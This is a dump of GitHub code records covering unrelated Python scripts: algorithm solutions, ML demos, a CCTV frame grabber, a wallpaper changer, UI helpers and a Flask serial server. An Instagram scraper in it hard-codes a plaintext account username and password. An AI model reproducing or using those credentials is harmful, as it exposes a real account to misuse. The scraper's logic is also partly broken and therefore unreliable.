p, n in sp:\n if p == n:\n if p: c_j += t\n else: c_j -= t\n else: exch += 1\n if c_j == 0:\n return exch\n elif c_j > 0:\n for t, p, n in sp:\n if p != n:\n c_j -= t\n if c_j <= 0: return exch\n for t, p, n in sp:\n if p and n:\n exch += 2\n c_j -= 2 * t\n if c_j <= 0: return exch\n else:\n for t, p, n in sp:\n if p != n:\n c_j += t\n if c_j >= 0: return exch\n for t, p, n in sp:\n if not p and not n:\n exch += 2\n c_j += 2 * t\n if c_j >= 0: return exch\n assert False\n\nfor i in range(1, int(input())+1):\n print(\"Case #\", i, \": \", solve(*tuple([tuple(map(int, input().split())) for i in range(k)] for k in map(int, input().split()))), sep='')\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_210/45.py","file_name":"45.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32223952691","text":"from typing import List\nclass Solution:\n def validMountainArray(self, arr: List[int]) -> bool:\n increasing = True\n if len(arr) < 3:\n return False\n if arr[1] < arr[0]:\n return False\n for i in range(1, len(arr)):\n if arr[i] == arr[i-1]:\n return False\n elif arr[i] < arr[i-1]:\n increasing = False\n if increasing and arr[i] < arr[i-1]:\n return False\n if not increasing and arr[i] > arr[i-1]:\n return False\n return not increasing ","repo_name":"chrisbyd/leetcode_chris","sub_path":"bitmask/941.py","file_name":"941.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32808355253","text":"import matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.datasets import fetch_olivetti_faces\nfrom sklearn.datasets import fetch_lfw_people\nfrom sklearn.decomposition import PCA\n\nolivetti_dataset = fetch_olivetti_faces(data_home=None, shuffle=False, random_state=0,\ndownload_if_missing=True)\n\nlfw_people_dataset = fetch_lfw_people(min_faces_per_person=70, resize=0.4,download_if_missing=True)\n\n#change to the name of the dataset you want to use\nx = olivetti_dataset.data\ny = olivetti_dataset.target\n\nn_samples, h, w = olivetti_dataset.images.shape\n\n#training and testing\nx_train, x_test, y_train, y_test = train_test_split(x, y)\n\nn_components=100\nprint(\"Extracting eigenfaces: \")\npca = PCA(n_components=n_components).fit(x_train)\neigenfaces = pca.components_\n\n\ndef plot_gallery(images, titles, h, w, n_row=3, n_col=5):\n \"\"\"Helper function to plot a gallery of portraits\"\"\"\n plt.figure(figsize=(1.8 * n_col, 2.4 * n_row))\n plt.subplots_adjust(bottom=0, left=.01, right=.99, top=.90, hspace=.35)\n for i in range(n_row * n_col):\n plt.subplot(n_row, n_col, i + 1)\n plt.imshow(images[i].reshape((h, w)), cmap=plt.cm.gray)\n plt.title(titles[i], size=12)\n plt.xticks(())\n plt.yticks(())\n\n# plot the result of the prediction on a portion of the test set\n# plot the gallery of the most significative eigenfaces\n\neigenface_titles = [\"eigenface %d\" % i for i in range(eigenfaces.shape[0])]\nplot_gallery(eigenfaces, eigenface_titles, h, w)\n\nplt.show()\n","repo_name":"nikitaramoji/facial-recognition","sub_path":"facial_recognition.py","file_name":"facial_recognition.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29823770599","text":"# -*- coding: utf-8 -*-\n\"\"\"\n# @file name : my_loss.py\n# @author : https://github.com/TingsongYu\n# @date : 2021-02-28 10:08:00\n# @brief : 新的loss\n\"\"\"\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nimport torch.nn as nn\n\n\nclass LabelSmoothLoss(nn.Module):\n def __init__(self, smoothing=0.0):\n super(LabelSmoothLoss, self).__init__()\n self.smoothing = smoothing\n\n def forward(self, input, target):\n log_prob = F.log_softmax(input, dim=-1) # log_p 向量\n weight = input.new_ones(input.size()) * self.smoothing / (input.size(-1) - 1.)\n\n # index_tensor = target.unsqueeze(-1)\n # index_array = index_tensor.numpy()\n # index = torch.LongTensor(index_array)\n index = target.unsqueeze(-1)\n \n weight.scatter_(-1, index, (1. - self.smoothing)) # Q向量\n loss = (-weight * log_prob).sum(dim=-1).mean() # log_p * Q 再相加\n return loss\n\n\nif __name__ == '__main__':\n\n output = torch.tensor([[4.0, 5.0, 10.0], [1.0, 5.0, 4.0], [1.0, 15.0, 4.0]])\n label = torch.tensor([2, 1, 1], dtype=torch.int64)\n\n criterion = LabelSmoothLoss(0.01)\n loss = criterion(output, label)\n\n print(\"CrossEntropy:{}\".format(loss))","repo_name":"zjgbz/img_cls","sub_path":"tools/my_loss.py","file_name":"my_loss.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30826476170","text":"# Import libraries\nfrom http import client\nfrom datetime import datetime\nimport requests\nimport time\nimport os\n\n# Check cctv image folder exist or not\ncctv_image_save_dir = 'cctv_images/'\nif not os.path.isdir(cctv_image_save_dir):\n os.mkdir(cctv_image_save_dir)\n\n# Use HTTP Protocal Version 1.0\nclient.HTTPConnection._http_vsn = 10\nclient.HTTPConnection._http_vsn_str = 'HTTP/1.0'\n\n# HTTP request setting\nurl = 'http://cctvn01.freeway.gov.tw/vStream.php?pm=160,A40,13' # CCTV URL\nheaders = {'User-Agent': 'User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'}\n\n# Image filename string\ncurrent_datetime = datetime.now()\ndatetime_string = current_datetime.strftime('%Y%m%d_%H%M%S')\n\n# Send request\nr = requests.get(url, headers=headers)\nprint('request done!')\n\n# Check return status\nif r.status_code == requests.codes.ok:\n\n content = r.content # Get request content in byte form\n\n jfif_flag = b'\\xff\\xd8\\xff\\xe0\\x00\\x10\\x4a\\x46\\x49\\x46' # JFIF start string\n content_list = content.split(jfif_flag) # Split with jfif start flag\n content_list = content_list[1:] # discard first element\n print('Total image amount = ', len(content_list))\n\n # Save image file\n os.mkdir(os.path.join(cctv_image_save_dir, datetime_string)) # Create new folder with current datetime\n for i, content in enumerate(content_list):\n\n raw_image = jfif_flag + content # Add jfif start flag\n image_filepath = '%s/%s/%s.jpg' % (cctv_image_save_dir, datetime_string, str(i)) # Set new image filename\n # Save\n with open(image_filepath, 'wb') as f:\n f.write(raw_image)\n","repo_name":"rinku-1998/I-Police-intelligent-vehicle-tracking-system","sub_path":"cctv-vehicle-detection/get_cctv_video.py","file_name":"get_cctv_video.py","file_ext":"py","file_size_in_byte":1677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22737651546","text":"import asyncio\nimport threading\n\nimport cv2\nimport gradio as gr\nimport lightning as L\n\nfrom code_editor.python_tracer import PythonTracer\nfrom code_editor.utils import OpenCVConfig\n\n\nclass GradioImage(L.LightningWork):\n def __init__(self):\n super().__init__(cloud_build_config=OpenCVConfig())\n self.ready = False\n self.script_path = None\n self._script_runner = None\n self.script_content = \"\"\n\n def run(self, script_path, script_content, start_gradio: bool = True):\n self.script_path = script_path\n self.script_content = script_content\n with open(self.script_path, \"w+\") as _file:\n _file.write(script_content + \"\\n\")\n self._script_runner = PythonTracer(self.script_content, self.script_path, expected_symbol=\"input_frame\")\n if start_gradio:\n interface = gr.Interface(\n fn=self._apply, inputs=gr.inputs.Image(type=\"numpy\"), outputs=gr.outputs.Image(type=\"numpy\")\n )\n loop = asyncio.new_event_loop()\n thr = threading.Thread(\n target=self.launch_interface,\n args=(\n interface,\n loop,\n ),\n )\n thr.start()\n self.ready = True\n\n def launch_interface(self, interface, loop):\n asyncio.set_event_loop(loop)\n interface.launch(\n server_name=self.host,\n server_port=self.port,\n enable_queue=False,\n )\n\n def _apply(self, img):\n # self._script_runner.run(drive=self.drive, script_path=self._script_path, img=img)\n self._script_runner.run(content=self.script_content, script_path=self.script_path, img=img)\n output_img = cv2.imread(self._script_runner.output_path)\n return output_img\n\n def close(self):\n gr.close_all()\n","repo_name":"Lightning-Universe/CodeRunner_app","sub_path":"code_editor/gradio_image.py","file_name":"gradio_image.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"13997427418","text":"import pygame\nimport time\npygame.init()\n\nwin=(800,600)\nnow_draw=False\n\nlast_pos=(0,0)\nscreen=pygame.display.set_mode(win)\npygame.display.set_caption(\"myGame\")\n\ndef draw():\n pygame.draw.rect(screen, (255, 255, 255), (10, 10, 180, 60), 1)\n font = pygame.font.Font(\"Magnolia.ttf\", 35)\n text = font.render(\"Reset Board\", True, (255, 255, 255))\n screen.blit(text, (10, 10))\ndef is_Over(pos,x,width,y,height):\n if pos[0]>x and pos[0]y and pos[1]= n or ny >= m :\n continue\n\n if board[nx][ny] == 0 :\n continue\n\n if board[nx][ny] == 1 :\n board[nx][ny] = board[x][y] + 1\n queue.append((nx, ny))\n\n\nbfs(0, 0)\n\n# 0, 0 부터 n-1, m-1 의 위치로 가야함\nprint(board[n-1][m-1])","repo_name":"HaJunYoo/Algorithm_Study","sub_path":"BFS_DFS/BFS/BOJ/BOJ_2178(미로탐색).py","file_name":"BOJ_2178(미로탐색).py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33977025683","text":"#!/usr/bin/env python3\n\"\"\"\nScript changes the Linux Desktop Background using the gsettings command:\n\n\nExit Codes:\n101 - Failure to load python module\n102 - gsettings_check(): No gsettings found\n103 - set_backgroundsdir(): Unaccounted for XDG_CURRENT_DESKTOP\n104 - check_mypath(): Unable to find dirbackgrounds directory\n105 - get_wm(): Unaccounted for XDG_CURRENT_DESKTOP\n106 - set_backgroundsdir(): XDG_CURRENT_DESKTOP is None\n\"\"\"\n\n\ntry:\n from gi.repository import Gio\n import os\n import random\n import subprocess\n import time\n import sys\nexcept ModuleNotFoundError as moderr:\n print(f\"{moderr}...exit(101)\")\n exit(101)\n\n\n\"\"\"\nDEBUG Format --- Only use when troubleshooting a problem\n debugtxt = \"DEBUG >>>> entered function {} variable {}\"\n print(debugtxt.format(cinnamon_set_wallpaper.__name__, wallpaper))\n exit(1)\n\"\"\"\n\n\ndef main():\n \"\"\"\n Script changes the Linux Desktop Background using the gsettings command:\n \"\"\"\n try:\n dirbackgrounds = set_backgroundsdir()\n gsettings_check()\n get_current_bg()\n check_mypath(dirbackgrounds)\n get_wallpaper(dirbackgrounds)\n except KeyboardInterrupt:\n print(\"Received user termination request\\n\")\n exit(0)\n\n\ndef set_backgroundsdir():\n desktopenv = os.getenv(\"XDG_CURRENT_DESKTOP\")\n if desktopenv is None:\n print(\"XDG_CURRENT_DESKTOP is None...exit(106)\")\n sys.exit(106)\n\n if \"gnome\" in desktopenv.lower():\n dirbackgrounds = \"/usr/share/backgrounds/various\"\n print(\"Gnome\")\n elif \"cinnamon\" in desktopenv.lower():\n dirbackgrounds = \"/usr/share/backgrounds/various/images\"\n print(\"Cinnamon\")\n else:\n print(f\"UNKNOWN: XDG_CURRENT_DESKTOP - {desktopenv}\")\n sys.exit(103)\n return dirbackgrounds\n\n\ndef gsettings_check():\n gsrc = subprocess.Popen([\"gsettings\", \"list-schemas\"],\n stdout=subprocess.DEVNULL,\n stderr=subprocess.DEVNULL)\n rc = gsrc.wait()\n if rc != 0:\n print(\"No gsettings schemas found...exit(102)\\n\")\n sys.exit(102)\n\n\ndef check_mypath(dirbackgrounds):\n \"\"\" Function will confirm if directory defined by dirbackgrounds exists.\n If not the program exits\n \"\"\"\n test_dir = (os.path.isdir(dirbackgrounds))\n if test_dir is True:\n time.sleep(3)\n else:\n print('PATH:', dirbackgrounds, \" does not exists\")\n print('Exiting...')\n exit(1)\n\n\ndef get_wallpaper(dirbackgrounds):\n \"\"\" Function builds a list of backgrounds stored in\n directory assigned to dirbackgrounds variable and then\n selects a random item from the list\n \"\"\"\n wallpaper_lst = []\n\n for (dirpath, dirname, filenames) in os.walk(dirbackgrounds):\n for afile in filenames:\n wallpaper_lst.append(afile)\n\n mytest = len(wallpaper_lst)\n \"\"\" Decrease size of mytest by 1 to account for wallpaper_lst[]\n starting at 0 rather than 1\n \"\"\"\n mytest = mytest - 1\n my_rand = random.randint(0, mytest)\n # Sets the wallpaper to a random item from the wallpaper_lst\n wallpaper = wallpaper_lst[my_rand]\n get_wm(wallpaper, dirbackgrounds)\n\n\ndef set_wallpaper(wallpaper, dirbackgrounds):\n \"\"\" For GNOME WM function uses gi module to set schema\n org.gnome.desktop.background\n \"\"\"\n settings = Gio.Settings.new(\"org.gnome.desktop.background\")\n settings.set_string(\"picture-uri\", \"file://\" + dirbackgrounds + '/' + wallpaper)\n settings.apply()\n print(f\"Updated Background image: 'file:///{dirbackgrounds}/{wallpaper}'\")\n\n\ndef cinnamon_set_wallpaper(wallpaper, dirbackgrounds):\n \"\"\" For Cinnamon WM function uses gi module to set schema\n org.cinnamon.desktop.background\n \"\"\"\n beforebg = subprocess.check_output('gsettings get org.cinnamon.desktop.background picture-uri', shell=True)\n # Clear var beforebg from memory\n del beforebg\n\n settings = Gio.Settings.new(\"org.cinnamon.desktop.background\")\n settings.set_string(\"picture-uri\",\n \"file://\" + dirbackgrounds + '/' + wallpaper)\n settings.apply()\n print(f\"\\nUpdated Background image: {dirbackgrounds}/{wallpaper}\")\n\n\ndef get_wm(wallpaper, dirbackgrounds):\n # Confirm if the WM is GNOME or Cinnamon\n desktopenv = os.getenv(\"XDG_CURRENT_DESKTOP\")\n if \"gnome\" in desktopenv.lower():\n set_wallpaper(wallpaper, dirbackgrounds)\n elif \"cinnamon\" in desktopenv.lower():\n cinnamon_set_wallpaper(wallpaper, dirbackgrounds)\n else:\n print(f\"UNKNOWN: XDG_CURRENT_DESKTOP - {desktopenv}\")\n sys.exit(103)\n\n\ndef get_current_bg():\n beforebg = subprocess.check_output('gsettings get org.gnome.desktop.background picture-uri', shell=True)\n print(f\"Current background image: {str(beforebg.decode('utf-8'))}\")\n # Clear var beforebg from memory\n del beforebg\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"dwashington102/python_course","sub_path":"change_wallpaper.py","file_name":"change_wallpaper.py","file_ext":"py","file_size_in_byte":4889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21404837309","text":"import pytest\ntry:\n import dask\nexcept ImportError:\n dask = None\nimport xarray.testing as xrt\nimport numpy as np\nimport fpipy.conventions as c\nimport fpipy.raw as fpr\nfrom fpipy.data import house_raw, house_radiance\n\n\nrasterio = pytest.importorskip('rasterio')\n\n\n@pytest.fixture(scope=\"session\")\ndef rad_ENVI():\n kwargs = {}\n if dask:\n kwargs.update({'chunks': {'band': 1}})\n return house_radiance(**kwargs)\n\n\n@pytest.fixture(scope=\"session\")\ndef raw_ENVI():\n kwargs = {}\n if dask:\n kwargs.update({'chunks': {'band': 1}})\n return house_raw(**kwargs)\n\n\ndef test_read_calibration_matches_ENVI(calib_seq, raw_ENVI):\n for d in calib_seq.dims:\n xrt.assert_identical(calib_seq[d], raw_ENVI[d])\n\n for v in calib_seq.data_vars:\n xrt.assert_allclose(calib_seq[v], raw_ENVI[v])\n\n\ndef test_ENVI_rad_format(rad_expected, rad_ENVI):\n assert type(rad_ENVI) is type(rad_expected)\n\n dims = [\n c.band_index,\n c.width_coord,\n c.height_coord,\n ]\n\n for dim in dims:\n assert dim in rad_ENVI.dims\n\n coords = [\n c.band_index,\n c.width_coord,\n c.height_coord,\n ]\n for coord in coords:\n assert coord in rad_ENVI.coords\n\n variables = [\n c.radiance_data,\n c.wavelength_data,\n c.fwhm_data,\n ]\n for variable in variables:\n assert variable in rad_ENVI.variables\n\n\ndef test_ENVI_raw_format(raw, raw_ENVI):\n assert type(raw_ENVI) is type(raw)\n\n for dim in raw.dims:\n assert dim in raw_ENVI.dims\n for coord in raw.coords:\n assert coord in raw_ENVI.coords\n for variable in raw.variables:\n assert variable in raw_ENVI.variables\n\n\ndef test_ENVI_raw_to_rad_correspondence(raw_ENVI, rad_ENVI):\n rad_computed = fpr.raw_to_radiance(raw_ENVI)\n\n for v in [c.band_index, c.wavelength_data, c.fwhm_data]:\n assert np.all(rad_computed[v].values == rad_ENVI[v].values)\n","repo_name":"silmae/fpipy","sub_path":"tests/test_envi.py","file_name":"test_envi.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"17802182246","text":"class UserMdl(object):\n\n def __init__(self, id, email=None, name=None, last_name=None, cover=None, timezone=None, google_plus=None):\n self.id = id\n self.email = email\n self.name = name\n self.last_name = last_name\n self.cover = cover\n self.timezone = timezone\n self.google_plus = google_plus\n\n","repo_name":"josehbez/focus","sub_path":"app/v/user/model/userMdl.py","file_name":"userMdl.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26956163478","text":"from typing import (\n Any,\n Callable,\n Generator,\n Optional,\n Type,\n TypedDict,\n Union,\n)\n\nfrom pydantic_compat import Field, field_validator\n\nfrom app_model import expressions\n\nfrom ._base import _BaseModel\nfrom ._command_rule import CommandRule\nfrom ._icon import Icon\n\n\nclass _MenuItemBase(_BaseModel):\n \"\"\"Data representing where and when a menu item should be shown.\"\"\"\n\n when: Optional[expressions.Expr] = Field(\n None,\n description=\"(Optional) Condition which must be true to show the item.\",\n )\n group: Optional[str] = Field(\n None,\n description=\"(Optional) Menu group to which this item should be added. Menu \"\n \"groups are sortable strings (like `'1_cutandpaste'`). 'navigation' is a \"\n \"special group that always appears at the top of a menu. If not provided, \"\n \"the item is added in the last group of the menu.\",\n )\n order: Optional[float] = Field(\n None,\n description=\"(Optional) Order of the item *within* its group. Note, order is \"\n \"not part of the plugin schema, plugins may provide it using the group key \"\n \"and the syntax 'group@order'. If not provided, items are sorted by title.\",\n )\n\n @classmethod\n def __get_validators__(cls) -> Generator[Callable[..., Any], None, None]:\n yield cls._validate\n\n @classmethod\n def _validate(cls: Type[\"_MenuItemBase\"], v: Any) -> \"_MenuItemBase\":\n \"\"\"Validate icon.\"\"\"\n if isinstance(v, _MenuItemBase):\n return v\n if isinstance(v, dict):\n if \"command\" in v:\n return MenuItem(**v)\n if \"id\" in v:\n return MenuRule(**v)\n if \"submenu\" in v:\n return SubmenuItem(**v)\n raise ValueError(f\"Invalid menu item: {v!r}\", cls) # pragma: no cover\n\n\nclass MenuRule(_MenuItemBase):\n \"\"\"A MenuRule defines a menu location and conditions for presentation.\n\n It does not define an actual command. That is done in either `MenuItem` or `Action`.\n \"\"\"\n\n id: str = Field(..., description=\"Menu in which to place this item.\")\n\n\nclass MenuItem(_MenuItemBase):\n \"\"\"Combination of a Command and conditions for menu presentation.\n\n This object is mostly constructed by `register_action` right before menu item\n registration.\n \"\"\"\n\n command: CommandRule = Field(\n ...,\n description=\"CommandRule to execute when this menu item is selected.\",\n )\n alt: Optional[CommandRule] = Field(\n None,\n description=\"(Optional) Alternate command to execute when this menu item is \"\n \"selected, (e.g. when the Alt-key is held when opening the menu)\",\n )\n\n @field_validator(\"command\")\n def _simplify_command_rule(cls, v: Any) -> CommandRule:\n if isinstance(v, CommandRule):\n return v._as_command_rule()\n raise TypeError(\"command must be a CommandRule\") # pragma: no cover\n\n\nclass SubmenuItem(_MenuItemBase):\n \"\"\"Point to another Menu that will be displayed as a submenu.\"\"\"\n\n submenu: str = Field(..., description=\"Menu to insert as a submenu.\")\n title: str = Field(..., description=\"Title of this submenu, shown in the UI.\")\n icon: Optional[Icon] = Field(\n None,\n description=\"(Optional) Icon used to represent this submenu. \"\n \"These may be superqt fonticon keys, such as `fa6s.arrow_down`\",\n )\n enablement: Optional[expressions.Expr] = Field(\n None,\n description=\"(Optional) Condition which must be true to enable the submenu. \"\n \"Disabled submenus appear grayed out in the UI, and cannot be selected. By \"\n \"default, submenus are enabled.\",\n )\n\n\nclass MenuRuleDict(TypedDict, total=False):\n \"\"\"Typed dict for MenuRule kwargs.\n\n This mimics the pydantic `MenuRule` interface, but allows you to pass in a dict\n \"\"\"\n\n when: Optional[expressions.Expr]\n group: str\n order: Optional[float]\n id: str\n\n\nMenuRuleOrDict = Union[MenuRule, MenuRuleDict]\nMenuOrSubmenu = Union[MenuItem, SubmenuItem]\n","repo_name":"pyapp-kit/app-model","sub_path":"src/app_model/types/_menu_rule.py","file_name":"_menu_rule.py","file_ext":"py","file_size_in_byte":4055,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"61"} +{"seq_id":"15327234232","text":"# python\n#coding:utf-8\nimport serial\nimport re\nfrom flask import Flask\n#import data_refine\nimport pandas as pd\nfrom mutagen.mp3 import MP3 as mp3\nimport pygame\nimport time\nimport random\nimport threading\n\nflag = 0\n\n#csvを読んでdfにする\ndef csv_to_df(path):\n data = pd.read_csv(path)\n return data\n\n#音声ファイルを再生する\ndef read_aloud(filename):\n pygame.mixer.init()\n pygame.mixer.music.load(filename) #音源を読み込み\n mp3_length = mp3(filename).info.length #音源の長さ取得\n pygame.mixer.music.play(1) #再生開始。1の部分を変えるとn回再生(その場合は次の行の秒数も×nすること)\n time.sleep(mp3_length + 0.25) #再生開始後、音源の長さだけ待つ(0.25待つのは誤差解消)\n pygame.mixer.music.stop() #音源の長さ待ったら再生停止\n\n\n#setup関数\n#韻の表読み込み\ndata = csv_to_df(\"in_data.csv\")\n# print(data)\n#列の定義\ncolnum_same_id = 5\n# print(data[\"呼応するもの\"])\ncolnum_similar_id = 6\n#過去に踏んだもののidを格納する\nhist = []\n\n#以下main\nsend = \"a,a,a,a,a,a,a,a,a,a\"\n\ndef ser():\n with serial.Serial('/dev/cu.usbmodem1411',9600) as ser:\n while True:\n print(\"True loop\")\n c = ser.readline().decode('utf8').rstrip()\n if len(c)>0:\n print(c)\n# app.debug = True\n# app.run()\n\n send = c\n return c\n# if flag == 0:\n# read_aloud(\"voices/Indigo.mp3\")\n# flag = 1\n# print(\"flag=\",flag)\n# elif flag == 1:\n# pygame.mixer.music.stop() #音源の長さ待ったら再生停止\n# flag = 0\n# print(\"flag=\",flag)\n\n ser.close()\n\n#ser = serial.Serial('/dev/cu.usbmodem1411',9600,timeout=0.2)\n\n#flask初期化\napp = Flask(__name__)\n@app.route(\"/\", methods=['GET'])\ndef index():\n# cBefore = \"\"\n# #print(\"True loop\")\n# c = ser.readline().decode('utf8').rstrip()\n# # Make a script that checks the size. Make a filter\n# if cBefore != c:\n# return c\n# else:\n# return None\n# cBefore = c\n\n str = ser()\n# if str==\"26\":\n# str = \"a,a,a,a,a,a,a,a,a,a\"\n# print(\"str=\",str)\n return str\n# return main()\n\n\nif __name__ == \"__main__\":\n app.debug = True\n app.run()\n\n","repo_name":"minori-m/innwofumu","sub_path":"PythonServer/Flask/thread_test.py","file_name":"thread_test.py","file_ext":"py","file_size_in_byte":2401,"program_lang":"python","lang":"ja","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"17292212041","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jun 1 18:16:22 2019\n\n@author: swang\n\"\"\"\n\nimport pandas as pd\nimport urllib\nimport time\nimport re\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.action_chains import ActionChains\n\n\nfrom bs4 import BeautifulSoup\nfrom songs_tool import codb\n\nco = codb.conndb()\n\nhost = \"https://www.instagram.com/accounts/login/?source=auth_switcher\"\nexe_path = r\"C:\\Users\\swang\\Downloads\\webdrivers\\chromedriver74.exe\"\n\ntable_name = 'Instagram'\nusername = 'swang115'\npassword = 'Astro328'\nbrowser = webdriver.Chrome(exe_path)\nbrowser.get(host)\n\n# loggin in\nbrowser.find_element_by_tag_name('form').find_element_by_tag_name('input').send_keys(username, Keys.TAB, password)\n\ntime.sleep(3)\nbrowser.find_element_by_xpath(\"//button[contains(.,'Log In')]\").click()\ntime.sleep(3)\ntry:\n browser.find_element_by_xpath(\"//button[contains(.,'Not Now')]\").click()\nexcept:\n pass\n\n# jump to the explore page\nbrowser.find_element_by_tag_name('nav').find_elements_by_tag_name('a')[1].click()\ntime.sleep(2)\n\n# set current explore page as our main page\nmain_window = browser.current_window_handle\n\n# get scroll height\nPAUSE = 1\nheight = browser.execute_script(\"return document.body.scrollHeight\")\nactions = ActionChains(browser)\n\n\noutput = {\n 'poster_dict': [], 'poster_cap_dict': [], 'poster_likes_dict': [],\n 'resp_dict': [], 'resp_likes_dict': []\n }\nposter_dict = {}\nposter_cap_dict = {}\nposter_likes_dict = {}\nresp_dict = {}\nresp_likes_dict = {}\n\nfor i, post in enumerate(browser.find_element_by_tag_name('article').find_elements_by_tag_name('a')):\n # scroll down to the bottom of the page once per 9 posts\n if (i+1)%9 == 0:\n browser.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n time.sleep(PAUSE)\n new_height = browser.execute_script(\"return document.body.scrollHeight\")\n last_height = new_height\n\n post.click()\n\n # poster -- text() to make there is a valid value after title attribute\n poster = post.find_element_by_xpath(\"//a[@title = text()]\").text\n \n # poster's caption\n main_post = post.find_elements_by_xpath(\"//span[@title = text()]\")[0].text\n \n # top 12 liked reponses\n resp_list = []\n likes_list = []\n for revs in post.find_elements_by_xpath(\"//li[@role = 'menuitem']\")[1:]:\n resp_list += [revs.find_element_by_tag_name('span').text]\n likes_list += revs.find_element_by_tag_name('button').text.split(' ')[0]\n \n poster_list = [poster for i in range(len(resp_list))]\n poster_caption_list = [main_post for i in range(len(resp_list))]\n poster_likes_list = []\n for item in post.find_elements_by_xpath(\"//button[@type = 'button']\"):\n try:\n poster_likes = item.find_element_by_tag_name('span').text\n break\n except:\n continue\n poster_likes_list = [poster_likes for i in range(len(resp_list))]\n post.find_element_by_xpath(\"//button[contains(.,'Close')]\").click()\n \n poster_dict['poster_dict'] += poster_list\n poster_dict['poster_cap_dict'] += poster_caption_list\n poster_dict['poster_likes_dict'] += poster_likes_list\n poster_dict['resp_dict'] += resp_list\n poster_dict['resp_likes_dict'] += likes_list\n\ndf = pd.DataFrame.from_dict(output)\ncodb.upload_table('Instagram', df, co)","repo_name":"songsong328/my_projects","sub_path":"scrape_instagram.py","file_name":"scrape_instagram.py","file_ext":"py","file_size_in_byte":3417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35803417391","text":"class parent():\r\n def __init__(self):\r\n print(\"This is Parent Class\")\r\n def menu(dish):\r\n if dish==\"burger\":\r\n print(\"You can add the following toppings\")\r\n print(\"More Cheese|Jalapenos\")\r\n elif dish==\"iced_americano\":\r\n print(\"You can add the following toppings\")\r\n print(\"Add chocolate|Add caramel\")\r\n else:\r\n print(\"Please enter Valid Dish\")\r\n def final_amount(dish,add_ons):\r\n if dish ==\"burger\"and add_ons==\"cheese\":\r\n print(\"you need to pay $3\")\r\n elif dish==\"burger\" and add_ons==\"Jalapenos\":\r\n print(\"YOU NEED TO PAY 1$\")\r\n elif dish==\"iced_americano\"and add_ons==\"chocolate\":\r\n print(\"you need to pay 500 dollars\")\r\n elif dish==\"iced americano\" and add_ons==\"caramel\":\r\n print(\"you need to pay 1 million dolors\")\r\nclass child1(parent):\r\n def __init__(self,dish):\r\n self.new_dish = dish\r\n def get_menu(self):\r\n parent.menu(self.new_dish)\r\nclass child2(parent):\r\n \r\n def __init__(self,dish,addons):\r\n self.new_dish = dish\r\n self.addons=addons\r\n def get_final_amount(self):\r\n parent.final_amount(self.new_dish,self.addons)\r\nchild1_object=child1(\"burger\")\r\nchild1_object.get_menu()\r\n\r\nchild2_object=child2(\"burger\",\"Jalapenos\")\r\nchild2_object.get_final_amount()\r\n ","repo_name":"itsmithun12345678901234567890/class-173","sub_path":"untitled0.py","file_name":"untitled0.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20394258109","text":"#!/usr/bin/python3\n\n\n# Playlists array is declared empty, to contain names of playlists to add a song file to\nplaylists = []\n\n# Function takes a song filename as an input, prints its name, and prompts the user to select which playlist folders they would like to add it to, and how many. It then adds the names of the folders to the playliss array, which later is read by the Bash script and used to copy the songs into organized directories.\ndef sort_song(song):\n\n print(song)\n print(\"Playlists\")\n \n print(\"1. Hits/Throwbacks\")\n print(\"2. Rap\")\n print(\"3. Deep/Chill House\")\n print(\"4. Tech/Bass House\")\n print(\"5. Trance/Prog House\")\n print(\"6. Trap/Dubstep\")\n print(\"7. Drum & Bass\")\n print(\"8. Other\")\n print(\"9. Originals\")\n \n \n # All songs are automatically added to 'All' playlist\n playlists.append(\"All\")\n \n i = input(\"Enter playlist: \")\n \n if i == \"1\":\n playlists.append(\"Hits_Throwbacks\")\n return\n \n elif i == \"2\":\n playlists.append(\"Rap\")\n return\n \n elif i == \"3\":\n playlists.append(\"Deep_ChillHouse\")\n return\n\n elif i == \"4\":\n playlists.append(\"Tech_BassHouse\")\n return\n\n elif i == \"5\":\n playlists.append(\"Trance_ProgHouse\")\n return\n\n elif i == \"6\":\n playlists.append(\"Trap_Dubstep\")\n return\n\n elif i == \"7\":\n playlists.append(\"Drum&Bass\")\n return\n\n elif i == \"8\":\n playlists.append(\"Other\")\n return\n\n elif i == \"9\":\n playlists.append(\"Originals\")\n return\n\n # If a value that doesn't correspond to anything is inputted, the function is called recursively until they do\n else:\n print(\"Invalid choice. Try again.\")\n 